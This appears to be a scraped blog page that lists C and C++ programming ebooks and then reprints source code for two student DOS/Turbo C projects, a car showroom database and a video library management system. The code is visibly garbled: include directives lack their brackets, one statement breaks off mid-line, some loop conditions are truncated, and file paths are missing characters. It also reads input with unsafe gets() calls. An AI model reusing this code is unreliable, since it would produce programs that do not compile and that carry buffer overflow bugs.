C Programming

PIC Microcontroller Project Book, Second Edition; John Iovine (TAB, 2004

2011-03-24T15:05:00.001-07:00

PIC Microcontrolle...

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PIC_Microcontrollers_50_Projects_for_Beginners_and_Experts

2011-03-24T15:03:00.001-07:00

PIC_Microcontrolle...

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PIC Microcontrollers Tutorial

2011-03-24T15:02:00.001-07:00

PIC Microcontrolle...

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All_Java_Programs_CoreJava

2011-03-24T15:00:00.001-07:00

All_Java_Programs_...

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C Programming FundamentaL

2011-03-24T14:55:00.001-07:00

C Programming Fund...

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Essential C

2011-03-24T14:50:00.001-07:00

EssentialC.pdf

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The Art of Computer Programming Vol 4 - Knuth

2011-03-24T14:49:00.001-07:00

The Art of Compute...

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Algorithms and Complexity - Wilf

2011-03-24T14:47:00.001-07:00

Algorithms and Com...

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Numerical Recipes in C

2011-03-24T14:45:00.001-07:00

Numerical Recipes ...

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Introduction to Algorithms - Corman

2011-03-24T14:44:00.001-07:00

Introduction to Al...

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The Art of Computer Programming Vol2

2011-03-24T14:43:00.001-07:00

The Art of Compute...

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Linked List Problems

2011-03-24T14:42:00.001-07:00

Linked List Proble...

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Problems On Algorithms - Parberry, Gasarch

2011-03-24T14:41:00.003-07:00

Problems On Algori...

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Non Linear Programming - MIT Course

2011-03-24T14:41:00.001-07:00

Non Linear Program...

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Yashwant Kanetkar's C

2011-03-24T14:38:00.001-07:00

Yashwant_Kanetkar'...

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Effective C and More Effective C++

2011-03-24T14:36:00.001-07:00

Effective C and Mo...

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Fundamentals of Data Structures - Ellis Horowitz

2011-03-24T14:35:00.001-07:00

Fundamentals of Da...

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Mastering Windows Shell Scripting

2011-03-24T14:34:00.001-07:00

Mastering Windows ...

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Programming Interviews Exposed 2nd Edition

2011-03-24T14:33:00.001-07:00

Programming Interv...

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Thinking in C Second Edition Vol 2 Bruce Eckel

2011-03-24T14:32:00.001-07:00

Thinking in C Sec...

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C Programming Problems and Solutions

2011-03-24T14:30:00.001-07:00

C___Programming_Pr...

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C & C++ Win32 API Programming

2011-03-24T14:29:00.002-07:00

C & C++ Win32 API ...

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Advanced MFC Programming

2011-03-24T14:29:00.000-07:00

Advanced%20MFC%20P...

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Programming MFC 2nd Edition

2011-03-24T14:27:00.003-07:00

Programming MFC 2n...

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code c win32

2011-03-24T14:27:00.001-07:00

codec win32.rar

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Windows Programming - the Win32 API & C

2011-03-24T14:26:00.001-07:00

Windows Programmin...

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Programming Windows with MFC- Jeff Prosise

2011-03-24T14:25:00.001-07:00

Programming Window...

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Programming Windows - Charles Petzold

2011-03-24T14:24:00.001-07:00

Programming Window...

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Oreilly Practical C Programming

2011-03-24T14:22:00.001-07:00

O_reilly_-_Practic...

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Guide to C programming

2011-03-24T14:20:00.001-07:00

Guide to C program...

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McGraw-Hill,.Schaum's Outline of Programming with C, 2nd Edition

2011-03-24T14:19:00.002-07:00

McGraw-Hill,.Schau...

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Programming in C

2011-03-24T14:19:00.000-07:00

Programming in C.z...

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Virtual Machine Design and Implementation

2011-03-24T14:17:00.001-07:00

Virtual Machine De...

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Expert C Programming - Deep C Secrets

2011-03-24T14:16:00.003-07:00

Expert C Programmi...

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Memory as a Programming Concept in C and C++

2011-03-24T14:16:00.001-07:00

Memory as a Progra...

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Memory Management Algorithms and Implementation In C, C++

2011-03-24T14:15:00.002-07:00

Memory Management ...

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The development of C Language

2011-03-24T14:15:00.000-07:00

The development of...

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Programming in C - UNIX System Calls and Subroutines using C 1999

2011-03-24T14:14:00.001-07:00

Programming in C -...

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C Language Calling Sequence

2011-03-24T14:13:00.001-07:00

C Language Calling...

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Keil_Basics

2011-03-24T14:12:00.002-07:00

Keil_Basics.pdf

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Giao trinh C

2011-03-24T14:12:00.000-07:00

Giao trinh C.pdf

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Practical C Programming 3rd Edition

2011-03-24T14:11:00.001-07:00

Practical C Progra...

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Pointers in C

2011-03-24T14:06:00.001-07:00

Pointers in C.pdf

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C-Primer-Plus

2011-03-24T14:04:00.001-07:00

C-Primer-Plus.zip

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C_By_Example

2011-03-24T14:03:00.002-07:00

C_By_Example.zip

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C++ By Bjarne Stroustroup

2011-03-24T14:03:00.000-07:00

C++ By Bjarne Stro...

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Practical C Programming, 3rd Edition

2011-03-24T01:35:00.001-07:00

Design Patterns for Embedded Systems in C: An Embedded Software …

2011-03-24T01:35:00.000-07:00

TCP/IP Sockets in C Bundle: TCP/IP Sockets in C, Second Edition: Pr…

2011-03-24T01:34:00.001-07:00

Programming and Problem Solving with C++: Comprehensive E…

2011-03-24T01:33:00.002-07:00

C Primer Plus (5th Edition)

2011-03-24T01:33:00.000-07:00

Learn Objective-C on the Mac (Learn Series)

2011-03-24T01:32:00.001-07:00

Programming 8-bit PIC Microcontrollers in C: with Interactive Hardware Si…

2011-03-24T01:31:00.001-07:00

Objective-C Pocket Reference

2011-03-24T01:30:00.001-07:00

Secure Coding in C and C++

2011-03-24T01:29:00.003-07:00

Programming Embedded Systems in C and C ++

2011-03-24T01:29:00.001-07:00

Parallel Programming in C with MPI and OpenMP

2011-03-24T01:28:00.001-07:00

Sams Teach Yourself C in 21 Days (6th Edition)

2011-03-24T01:27:00.003-07:00

Beginner's Guide To Embedded C Programming: Using Th…

2011-03-24T01:27:00.001-07:00

Schaum's Outline of Programming with C

2011-03-24T01:26:00.003-07:00

Mastering Algorithms with C

2011-03-24T01:26:00.001-07:00

LEGO Mindstorms NXT Power Programming: Robotics in C

2011-03-24T01:25:00.001-07:00

Programming: A Modern Approach

2011-03-24T01:24:00.002-07:00

Expert C Programming

2011-03-24T01:24:00.000-07:00

2011-03-24T01:22:00.002-07:00

Search Amazon.com for c programming

Programming in Objective-C 2.0 (3rd Edition) (Developer's Lib…

2011-03-24T01:22:00.000-07:00

Beginning Mac Programming: Develop with Objective-C and Co…

2011-03-24T01:21:00.000-07:00

C All-in-One Desk Reference For Dummies

2011-03-24T01:20:00.000-07:00

C Programming: A Modern Approach, 2nd Edition

2011-03-24T01:17:00.001-07:00

C Programming for the Absolute Beginner

2011-03-24T01:16:00.001-07:00

Programming in Objective-C 2.0 (2nd Edition)

2011-03-24T01:15:00.000-07:00

Showroom Database System - Project

2011-03-20T20:24:00.002-07:00

#include stdlib.h
#include string.h

void owner_entry(void);
void owner_read(long);
void car_entry(void);
void car_read(void);
long customer_entry(void);
void customer_read(void);
void car_match(int);
void customer_match(long);
void my_logo(void);

void main(void)
{
int choice;char ch[1];int i=2,flag=1;
long demand;
int gd=DETECT ,gm;
initgraph(&gd,&gm,"c:\tc\bgi");
my_logo();
setbkcolor(1);
A:
cleardevice();
setfillstyle(i,9);
floodfill(1,1,1);
settextstyle(5,0,4);
outtextxy(0,0,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");
outtextxy(0,30,"ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄMAIN MENUÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");
outtextxy(0,60,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");
outtextxy(0,90,"1. New Owner Entry with his car specification.");
outtextxy(0,120,"2. New Customer Entry.");
outtextxy(0,150,"3. View all available cars.");
outtextxy(0,180,"4. View all customers.");
outtextxy(0,210,"5. Exit.");
outtextxy(0,240,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");
outtextxy(0,270,"Enter your choice(1-5) : ");
outtextxy(0,300,"ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ");
ch[0]=getch();
ch[1]='

Video Library Management System (Project)

2011-03-20T20:24:00.000-07:00

/*--------------------------------------------------------------------*/
/*--------------------------------------------------------------------*/
/*--------------------------------------------------------------------*/
/* VIDEO LIBRARY MANAGEMENT SYSTEM */
/*--------------------------------------------------------------------*/
/*--------------------------------------------------------------------*/
/*--------------------------------------------------------------------*/

#include stdio.h
#include conio.h
#include dos.h
#include string.h
#include graphics.h
#define PATH ". gi"
#define TBG textbackground(WHITE);textcolor(BLUE)

typedef struct customer
{
long id;
char name[20];
char pn[12];
char address[40];
char category;
int doj[3];
}cust;

typedef struct movie
{
long id;
char title[25];
int copy;
int cponshelf;
int issue;
char sid[20];
int loc;
}mov;

typedef struct transaction
{
long invoice;
int doi[3];
int dor[3];
char title[25];
int fine;
long cid;
char cname[20];
int copies;
int rent;
int tam;
}transaction;

cust ctr;
mov mv;
transaction tran;
FILE *fc,*fm,*ft,*tmp;
long int size;
int days,k=0;
struct date d;

void main_menu()
{
char *menu[]={"CUSTOMER SECTION",
"MOVIE SECTION",
"TRANSACTION SECTION",
"EXIT"};

char ch;
int gd=DETECT,gm,i,choice=0;
initgraph(&gd,&gm,PATH);
setfillstyle(SOLID_FILL,RED);
bar(0,0,640,480);
title("MAIN MENU",180);
status();
box(0,menu[0]);
box(1,menu[1]);
box(2,menu[2]);
box(3,menu[3]);
selectbox(choice,menu[choice]);

//72 up
//80 down
//75 left
//77 right
//13 enter
//49 1
//71 Home
//79 End
//73 PgUp
//81 PgDown
//27 Escape

while((ch=getch())!=13)
{
switch(ch)
{
case 80:
case 81:
choice++;
if(choice==4)
choice=0;
selectbox(choice,menu[choice]);
for(i=0;i<=3;i++) { if(i==choice) continue; box(i,menu[i]); } break; case 72: case 73: choice--; if(choice==-1) choice=3; selectbox(choice,menu[choice]); for(i=0;i<=3;i++) { if(i==choice) continue; box(i,menu[i]); } } } pressbutton(choice,menu[choice]); switch(choice) { case 0: size=sizeof(ctr); customer(); break; case 1: movie(); break; case 2: transactions(); break; case 3: closegraph(); restorecrtmode(); exit(0); } }customer(){ char *menu[]={ "ADD CUSTOMER", "MODIFY CUSTOMER", "DELETE CUSTOMER", "LIST CUSTOMER", "BACK TO MAIN MENU", "EXIT" }; char ch; int gd=DETECT,gm; int i,choice=0; initgraph(&gd,&gm,PATH); setfillstyle(SOLID_FILL,RED); bar(0,0,640,480); title("CUSTOMER MENU",130); status(); box(0,menu[0]); box(1,menu[1]); box(2,menu[2]); box(3,menu[3]); box(4,menu[4]); box(5,menu[5]); selectbox(choice,menu[choice]); //72 up //80 down //75 left //77 right //13 enter //49 1 //71 Home //79 End //73 PgUp //81 PgDown //27 Escape while((ch=getch())!=13) { switch(ch) { case 80: case 81: choice++; if(choice==6) choice=0; selectbox(choice,menu[choice]); for(i=0;i<=5;i++) { if(i==choice) continue; box(i,menu[i]); } break; case 72: case 73: choice--; if(choice==-1) choice=5; selectbox(choice,menu[choice]); for(i=0;i<=5;i++) { if(i==choice) continue; box(i,menu[i]); } } } pressbutton(choice,menu[choice]); closegraph(); restorecrtmode(); clrscr(); if((fc=fopen("c:customer.txt","rb+"))==NULL) fc=fopen("c:customer.txt","wb+"); switch(choice) { case 0: addcus(); break; case 1: rewind(fc); modify(); break; case 2: delete(); break; case 3: listcust(); break; case 4: fclose(fc); main_menu(); break; case 5: fclose(fc); exit(1); }}movie(){ char *menu[]={ "ADD MOVIE", "LIST MOVIES", "SEARCH MOVIE", "BACK TO MAIN MENU", "EXIT" }; char ch; int gd=DETECT,gm; int i,choice=0; initgraph(&gd,&gm,PATH); setfillstyle(SOLID_FILL,RED); bar(0,0,640,480); title("MOVIE MENU",165); status(); box(0,menu[0]); box(1,menu[1]); box(2,menu[2]); box(3,menu[3]); box(4,menu[4]); selectbox(choice,menu[choice]); //72 up //80 down //75 left //77 right //13 enter //49 1 //71 Home //79 End //73 PgUp //81 PgDown //27 Escape while((ch=getch())!=13) { switch(ch) { case 80: case 81: choice++; if(choice==5) choice=0; selectbox(choice,menu[choice]); for(i=0;i<=4;i++) { if(i==choice) continue; box(i,menu[i]); } break; case 72: case 73: choice--; if(choice==-1) choice=4; selectbox(choice,menu[choice]); for(i=0;i<=4;i++) { if(i==choice) continue; box(i,menu[i]); } } } pressbutton(choice,menu[choice]); closegraph(); restorecrtmode(); clrscr(); /*textcolor(4);*/ fm=fopen("c:movie.txt","rb+"); if(fm==NULL) fm=fopen("c:movie.txt","wb+"); switch(choice) { case 0: addmov(); break; case 1: listmov(); break; case 2: searchmov(); break; case 3: main_menu(); break; case 4: fclose(fm); exit(1); }}transactions() { char *menu[]={ "NEW TRANSACTION", "CLOSE TRANSACTION", "LIST TRANSACTIONS", "SEARCH MOVIE", "BACK TO MAIN MENU", "EXIT" }; char ch; int gd=DETECT,gm,i,choice=0; initgraph(&gd,&gm,PATH); setfillstyle(SOLID_FILL,RED); bar(0,0,640,480); title("TRANSACTION MENU",100); status(); box(0,menu[0]); box(1,menu[1]); box(2,menu[2]); box(3,menu[3]); box(4,menu[4]); box(5,menu[5]); selectbox(choice,menu[choice]); //72 up //80 down //75 left //77 right //13 enter //49 1 //71 Home //79 End //73 PgUp //81 PgDown //27 Escape while((ch=getch())!=13) { switch(ch) { case 80: case 81: choice++; if(choice==6) choice=0; selectbox(choice,menu[choice]); for(i=0;i<=5;i++) { if(i==choice) continue; box(i,menu[i]); } break; case 72: case 73: choice--; if(choice==-1) choice=5; selectbox(choice,menu[choice]); for(i=0;i<=5;i++) { if(i==choice) continue; box(i,menu[i]); } } } pressbutton(choice,menu[choice]); closegraph(); restorecrtmode(); clrscr(); ft=fopen("c: ransact.txt","rb+"); if(ft==NULL) ft=fopen("c: ransact.txt","wb+"); switch(choice) { case 0: addtran(); break; case 1: closetran(); break; case 2: listtran(); break; case 3: fm=fopen("c:movie.txt","rb+"); if(fm==NULL) fm=fopen("c:movie.txt","wb+"); searchmov(); break; case 4: main_menu(); break; case 5: exit(0); } }addcus() { char another='y'; fseek(fc,0,SEEK_END); TBG; while(another=='y'||another=='Y') { clrscr(); printf("******************** ADD CUSTOMER FORM ****************"); printf("CUSTOMER ID(NUMERIC) :"); printf("CUSTOMER NAME :"); printf("CUSTOMER PHONE NO :"); printf("CUSTOMER ADDRESS :"); printf("DATE OF JOINING :"); printf("CATEGORY(H/A/C/R/S/T) :"); gotorc(2,24); customid(); gotorc(4,24); fflush(stdin); gets(ctr.name); gotorc(6,24); fflush(stdin); gets(ctr.pn); gotorc(8,24); fflush(stdin); gets(ctr.address); gotorc(10,24); fflush(stdin); getdate(&d); ctr.doj[0]=d.da_day;ctr.doj[1]=d.da_mon;ctr.doj[2]=d.da_year; printf("%d/%d/%d",d.da_day,d.da_mon,d.da_year); gotorc(12,24); fflush(stdin); ctr.category=getche(); gotorc(16,3); printf("DO YOU WANT TO SUBMIT THIS FORM (Y/N)"); fflush(stdin); another=getch(); if(another=='y'||another=='Y') fwrite(&ctr,size,1,fc); gotorc(18,3); printf("DO YOU WANT TO ADD ANOTHER CUTOMER(Y/N)"); fflush(stdin); another=getch(); } fclose(fc); customer(); }customid() { rewind(fc); if(fread(&ctr,sizeof(ctr),1,fc)!=1) ctr.id=1; else { while(fread(&ctr,sizeof(ctr),1,fc)==1); ctr.id++; } printf("%ld",ctr.id); } modify() { char another='y',choice,name[20],flag='n'; long id; TBG; while(another=='y'||another=='Y') { clrscr(); rewind(fc); printf(" SEARCH BY NAME : PRESS 1 SEARCH BY ID : PRESS 2 "); fflush(stdin); choice=getchar(); if(choice=='2') { printf("ENTER CUSTOMER ID : "); scanf("%ld",&id); while(fread(&ctr,size,1,fc)==1) { if(ctr.id==id) { new(); flag='y'; break; } } } if(choice=='1') { printf("ENTER CUSTOMER NAME : "); fflush(stdin); gets(name); while(fread(&ctr,size,1,fc)==1) { if(strcmpi(ctr.name,name)==0) { new(); flag='y'; break; } } } if(flag=='n') { gotorc(15,3); printf("CUSTOMER NOT FOUND............ !"); } gotorc(18,3); printf("DO YOU WANT TO MODIFY ANOTHER CUTOMER(Y/N)"); fflush(stdin); another=getch(); } fclose(fc); customer(); }new() { char another='y'; clrscr(); TBG; fseek(fc,-size,SEEK_CUR); printf("CUSTOMER'S NEW NAME :"); printf("CUSTOMER'S NEW PHONE NO :"); printf("CUSTOMER'S NEW ADDRESS :"); printf("NEW DATE OF JOINING (DD<-|MM<-|YYYY<-|) :"); printf("NEW CATEGORY(H/A/C/R/S/T) :"); gotorc(1,43); fflush(stdin); gets(ctr.name); gotorc(3,43); fflush(stdin); gets(ctr.pn); gotorc(5,43); fflush(stdin); gets(ctr.address); gotorc(7,43); fflush(stdin); scanf("%d",&ctr.doj[0]); gotorc(7,45); printf("%c",'/'); scanf("%d",&ctr.doj[1]); gotorc(7,48); printf("%c",'/'); scanf("%d",&ctr.doj[2]); gotorc(9,43); fflush(stdin); ctr.category=getche(); gotorc(16,3); printf("UPDATE THE CUSTOMER RECORD (Y/N)"); fflush(stdin); another=getch(); if(another=='y'||another=='Y') fwrite(&ctr,size,1,fc); rewind(fc); }listcust(){int i=1,p=4;clrscr();TBG;rewind(fc);printf("******************** CUSTOMERS LIST ************");gotorc(2,3);printf("ID");gotorc(2,8);printf("NAME");gotorc(2,22);printf("PHONE NO");gotorc(2,35);printf("ADDRESS");gotorc(2,55);printf("D.O.J");gotorc(2,68);printf("CATEGORY");while(fread(&ctr,size,1,fc)==1){ gotorc(p,3); printf("%ld",ctr.id); gotorc(p,8); printf("%s",strupr(ctr.name)); gotorc(p,22); printf("%s",ctr.pn); gotorc(p,35); printf("%s",strupr(ctr.address)); gotorc(p,55); printf("%d/%d/%d",ctr.doj[0],ctr.doj[1],ctr.doj[2]); gotorc(p,70); printf("%c",toupper(ctr.category)); if(i%15==0) { gotorc(40,3); printf("PRESS ANY KEY TO CONTINUE....."); getch(); clrscr(); p=4; } p+=2; i++; }printf(" PRESS ANY KEY TO BACK TO CUSTOMER MENU"); getch(); customer(); }delete() { char another='y',choice,name[20],flag='n'; long id; tmp=fopen("c: emp.txt","wb"); rewind(fc); TBG; while(another=='y'||another=='Y') { clrscr(); printf(" DELETE BY NAME : 1 DELETE BY ID : 2 "); fflush(stdin); choice=getchar(); if(choice=='2') { printf("ENTER CUSTOMER ID : "); scanf("%ld",&id); clrscr(); while(fread(&ctr,size,1,fc)==1) { if(ctr.id!=id) fwrite(&ctr,size,1,tmp); else flag='y'; } } if(choice=='1') { printf("ENTER CUSTOMER NAME : "); fflush(stdin); gets(name); clrscr(); while(fread(&ctr,size,1,fc)==1) { if(strcmpi(ctr.name,name)!=0) fwrite(&ctr,size,1,tmp); else flag='y'; } } fclose(fc); fclose(tmp); remove("c:customer.txt"); rename("c: emp.txt","c:customer.txt"); if(flag=='n') printf("CUSTOMER NOT FOUND.... !"); printf("DO YOU WANT TO DELETE ANOTHER CUTOMER(Y/N)"); fflush(stdin); another=getch(); } fclose(fc); customer(); } addmov() { char another='y'; TBG; fseek(fm,0,SEEK_END); while(another=='y'||another=='Y') { clrscr(); printf("*****************ADD MOVIE FORM*****************"); printf("MOVIE ID(NUMERIC) :"); printf("MOVIE NAME :"); printf("NO OF COPIES :"); printf("SUPPLIER ID :"); printf("LOCATION :"); gotorc(1,24); movid(); gotorc(2,24); fflush(stdin); gets(mv.title); gotorc(3,24); fflush(stdin); scanf("%d",&mv.copy); mv.cponshelf=mv.copy; mv.issue=0; gotorc(4,24); fflush(stdin); gets(mv.sid); gotorc(5,24); fflush(stdin); scanf("%d",&mv.loc); fwrite(&mv,sizeof(mv),1,fm); printf("DO YOU WANT TO ADD ANOTHER MOVIE(Y/N)"); fflush(stdin); another=getch(); } fclose(fm); printf("PRESS ANY KEY TO BACK TO MOVIE MENU"); movie(); } movid() { rewind(fm); if(fread(&mv,sizeof(mv),1,fm)!=1) mv.id=1; else { while(fread(&mv,sizeof(mv),1,fm)==1); mv.id++; } printf("%ld",mv.id); } listmov() { int i=1,p=4; textbackground(WHITE); textcolor(BLUE); clrscr(); rewind(fm); printf("******************** MOVIE LIST *****************"); gotorc(2,1); printf("ID"); gotorc(2,5); printf("TITLE"); gotorc(2,25); printf("TOT_CP"); gotorc(2,35); printf("CP_O_SHELF"); gotorc(2,48); printf("TOT_ISSUES"); gotorc(2,59); printf("SUPPLIER ID"); gotorc(2,71); printf("LOCATION"); while(fread(&mv,sizeof(mv),1,fm)==1) { gotorc(p,1); printf("%ld",mv.id); gotorc(p,5); printf("%s",strupr(mv.title)); gotorc(p,28); printf("%d",mv.copy); gotorc(p,40); printf("%d",mv.cponshelf); gotorc(p,52); printf("%d",mv.issue); gotorc(p,59); printf("%s",mv.sid); gotorc(p,74); printf("%d",mv.loc); if(i%10==0) { printf(" PRESS ANY KEY TO CONTINUE....."); fflush(stdin); getch(); clrscr(); p=4; } i++; p+=2; } printf("PRESS ANY KEY TO BACK TO MOVIE MENU"); getch(); fclose(fm); movie(); } searchmov() { char mname[20],another; TBG; clrscr(); rewind(fm); gotorc(5,5); printf("ENTER MOVIE TITLE : "); fflush(stdin); gets(mname); while(fread(&mv,sizeof(mv),1,fm)==1) { if(strcmpi(mv.title,mname)==0) { gotorc(7,12); textcolor(0); cprintf("MOVIE FOUND.."); textcolor(4); gotorc(9,5); printf("MOVIE TITLE : %s",mv.title); gotorc(11,5); printf("TOTAL NO OF COPIES : %d",mv.copy); gotorc(13,5); printf("NO OF COPIES AVAILABLE : %d",mv.cponshelf); gotorc(15,5); printf("SUPPLIER ID : %s",mv.sid); gotorc(17,5); printf("LOCATION : %d",mv.loc); gotorc(20,5); printf("DO YOU WANT TO SEARCH MORE MOVIES(Y/N)"); fflush(stdin); another=getchar(); if(another=='y'||another=='Y') searchmov(); fclose(fm); movie(); } } gotorc(7,5); textcolor(4); cprintf("MOVIE NOT FOUND.....!"); textcolor(4); gotorc(12,5); printf("DO YOU WANT TO SEARCH MORE MOVIES(Y/N)"); fflush(stdin); another=getchar(); if(another=='y'||another=='Y') searchmov(); fclose(fm); movie(); }addtran() { char another='y',rec; TBG; fseek(ft,0,SEEK_END); while(another=='y'||another=='Y') { clrscr(); printf("***************** TRANSACTION****************"); printf("INVOICE NO(NUMERIC) :"); printf("MOVIE TITLE :"); printf("COPIES AVAILABLE :"); printf("CUSTOMER ID :"); printf("CUSTOMER NAME :"); printf("NO. OF COPIES :"); printf("DATE OF ISSUE :"); gotorc(2,24); invoice(); gotorc(4,24); fflush(stdin); gets(tran.title); gotorc(6,24); avail(); gotorc(8,24); fflush(stdin); scanf("%ld",&tran.cid); custcheck(); gotorc(12,24); fflush(stdin); scanf("%d",&tran.copies); if(tran.copies>mv.cponshelf)
{
gotorc(18,3);
printf("TRANSACTION NOT POSSIBLE : REQUIRED NO OF COPIES NOT AVAILABLE");
printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");
getch();
transactions();
}
gotorc(14,24);
fflush(stdin);
getdate(&d);
tran.doi[0]=d.da_day;tran.doi[1]=d.da_mon;tran.doi[2]=d.da_year;
printf("%d/%d/%d",d.da_day,d.da_mon,d.da_year);
tran.dor[0]=0;
tran.rent=0;
gotorc(18,4);
printf("DO YOU WANT TO RECORD THIS TRANSACTION(Y/N)");
rec=getchar();
if(rec=='y'||rec=='Y')
{
update();
fwrite(&tran,sizeof(tran),1,ft);
}
printf("DO YOU WANT TO ADD ANOTHER TRANSACTION(Y/N)");
fflush(stdin);
another=getch();
}
fclose(ft);
printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");
transactions();
}

custcheck()
{

if((fc=fopen("c:customer.txt","rb"))==NULL)
fc=fopen("c:customer.txt","wb+");
rewind(fc);
while(fread(&ctr,sizeof(ctr),1,fc)==1)
{
if(ctr.id==tran.cid)
{
gotorc(10,24);
printf("%s",ctr.name);
strcpy(tran.cname,ctr.name);
fclose(fc);
return;
}
}
fclose(fc);
gotorc(18,4);
printf("INVALID CUSTOMER ............!");
gotorc(21,4);
printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");
getch();
transactions();

}

invoice()
{
rewind(ft);
if(fread(&tran,sizeof(tran),1,ft)!=1)
tran.invoice=1;
else
{
while(fread(&tran,sizeof(tran),1,ft)==1);
tran.invoice++;
}
printf("%ld",tran.invoice);
}

avail()
{
fm=fopen("c:movie.txt","rb+");
if(fm==NULL)
fm=fopen("c:movie.txt","wb+");
while(fread(&mv,sizeof(mv),1,fm)==1)
{
if(strcmpi(tran.title,mv.title)==0)
{
printf("%d",mv.cponshelf);
fclose(fm);
return;
}
}
gotorc(18,3);
printf("%s","MOVIE NOT FOUND...!");
gotorc(21,3);
printf("PRESS ANY KEY TO RETURN");
getch();
fclose(fm);
transactions();
}

update()
{
long msize;
msize=sizeof(mv);
fm=fopen("c:movie.txt","rb+");
if(fm==NULL)
fm=fopen("c:movie.txt","wb+");
while(fread(&mv,sizeof(mv),1,fm)==1)
{
if(strcmpi(tran.title,mv.title)==0)
{
mv.cponshelf=mv.cponshelf-tran.copies;
mv.issue=mv.issue+tran.copies;
fseek(fm,-msize,SEEK_CUR);
fwrite(&mv,sizeof(mv),1,fm);
break;
}
}
fclose(fm);
return;
}

listtran()
{
int i=1;

TBG;
clrscr();
rewind(ft);
while(fread(&tran,sizeof(tran),1,ft)==1)
{
printf(" INVOICE NO(NUMERIC) : %ld ",tran.invoice);
printf("CUSTOMER ID : %ld ",tran.cid);
printf("CUSTOMER NAME : %s ",tran.cname);
printf("MOVIE TITLE : %s ",tran.title);
printf("NO. OF COPIES : %d ",tran.copies);
printf("DATE OF ISSUE : %d/%d/%d ",tran.doi[0],tran.doi[1],tran.doi[2]);
if(tran.dor[0]!=0)
{
printf("DATE OF RETURN : %d/%d/%d ",tran.dor[0],tran.dor[1],tran.dor[2]);
printf("RENT : %d ",tran.rent);
printf("FINE : %d ",tran.fine);
printf("TOTAL AMOUNT : %d",tran.tam);
}

printf("........................................");

if(i%2==0)
{
printf("
PRESS ANY KEY TO CONTINUE.....");
getch();
clrscr();
}
i++;

}
fclose(ft);
printf("
PRESS ANY KEY TO BACK TO TRANSACTION MENU");
getch();
transactions();
}

closetran()
{
long id,sz;

TBG;
clrscr();
sz=sizeof(tran);
printf("
ENTER INVOICE NO: ");
scanf("%ld",&id);
clrscr();
while(fread(&tran,sz,1,ft)==1)
{
if(tran.invoice==id)
{
if(tran.dor[0]!=0)
{
gotorc(4,4);
printf("THIS TRANSACTION IS ALL READY CLOSED...!");
gotorc(7,4);
printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU......");
getch();
transactions();
}
fseek(ft,-sz,1);
getdate(&d);
tran.dor[0]=d.da_day;tran.dor[1]=d.da_mon;tran.dor[2]=d.da_year;
difference();
tran.rent=tran.copies*25;
if(k==0)
tran.fine=0;
else
tran.fine=tran.copies*(k-1)*5;
tran.tam=tran.rent+tran.fine;
printf("INVOICE NO(NUMERIC) : %ld ",tran.invoice);
printf("CUSTOMER ID : %ld ",tran.cid);
printf("CUSTOMER NAME : %s ",tran.cname);
printf("MOVIE TITLE : %s ",tran.title);
printf("NO. OF COPIES : %d ",tran.copies);
printf("DATE OF ISSUE : %d/%d/%d ",tran.doi[0],tran.doi[1],tran.doi[2]);
printf("DATE OF RETURN : %d/%d/%d ",tran.dor[0],tran.dor[1],tran.dor[2]);
printf("RENT : %d ",tran.rent);
printf("FINE : %d ",tran.fine);
printf("TOTAL AMOUNT : %d ",tran.tam);
updateclose();
fwrite(&tran,sz,1,ft);
fclose(ft);
}
}
printf("PRESS ANY KEY TO BACK TO TRANSACTION MENU");
getch();
transactions();

}

difference()
{
int t,m1,m2,y1,y2,d1,d2;
d1=tran.doi[0];
d2=tran.dor[0];
m1=tran.doi[1];
m2=tran.dor[1];
y1=tran.doi[2];
y2=tran.dor[2];
t=m1;
if(y2>y1)
{
while(y2>y1)
{
while(m1<=12)
{
check(m1,y1);
if(m1==t)
k=days-d1;
else
k=k+days;
m1=m1+1;
}
m1=1;y1++;
}
while(m1 {
check(m1,y1);
k=k+days;
m1++;
}
k=k+d2;
}
else
{
if(m1!=m2)
{
while(m1 {
check(m1,y1);
if(m1==t)
k=days-d1;
else
k=k+days;
m1=m1+1;
}
k=k+d2;
}
else
k=d2-d1;
}

}

check(int m1,int y1)
{
if(m1==1||m1==3||m1==5||m1==7||m1==8||m1==10||m1==12)
days=31;
else
{
if(m1!=2)
days=30;
else
{
if(y1%4==0)
days=29;
else
days=28;
}
}
}

updateclose()
{
long msize;
msize=sizeof(mv);
fm=fopen("c:movie.txt","rb+");
if(fm==NULL)
fm=fopen("c:movie.txt","wb+");
while(fread(&mv,sizeof(mv),1,fm)==1)
{
if(strcmpi(tran.title,mv.title)==0)
{
mv.cponshelf=mv.cponshelf+tran.copies;
fseek(fm,-msize,SEEK_CUR);
fwrite(&mv,msize,1,fm);
break;
}
}
fclose(fm);
return;
}

gotorc(int r,int c)
{
union REGS i,o;
i.h.ah=2;
i.h.bh=0;
i.h.dh=r;
i.h.dl=c;
int86(16,&i,&o);
}

screen1()
{
int gd=DETECT,gm;
initgraph(&gd,&gm,PATH);
setfillstyle(SOLID_FILL,RED);
bar(0,0,640,480);
setfillstyle(SOLID_FILL,WHITE);
bar(15,15,625,465);
setfillstyle(SOLID_FILL,RED);
bar(30,30,610,450);
settextstyle(1,0,8);
setcolor(WHITE);
outtextxy(190,35,"VIDEO");
setfillstyle(SOLID_FILL,LIGHTGRAY);
bar3d(180,140,385,130,20,20);
outtextxy(160,150,"LIBRARY");
bar3d(140,255,440,245,20,20);
outtextxy(165,270,"SYSTEM");
bar3d(145,375,440,365,20,20);
/* sleep(4); */
getch();
closegraph();
restorecrtmode();
}

screen2()
{
int gd=DETECT,gm;
initgraph(&gd,&gm,PATH);
setfillstyle(SOLID_FILL,RED);
bar(0,0,640,480);
setfillstyle(SOLID_FILL,WHITE);
bar(15,15,625,465);
setfillstyle(SOLID_FILL,RED);
bar(30,30,610,450);
setfillstyle(SOLID_FILL,LIGHTGRAY);
bar3d(180,100,420,300,25,25); /*members bar*/
settextstyle(1,1,10);
setcolor(WHITE);
outtextxy(10,55,"IIMS");
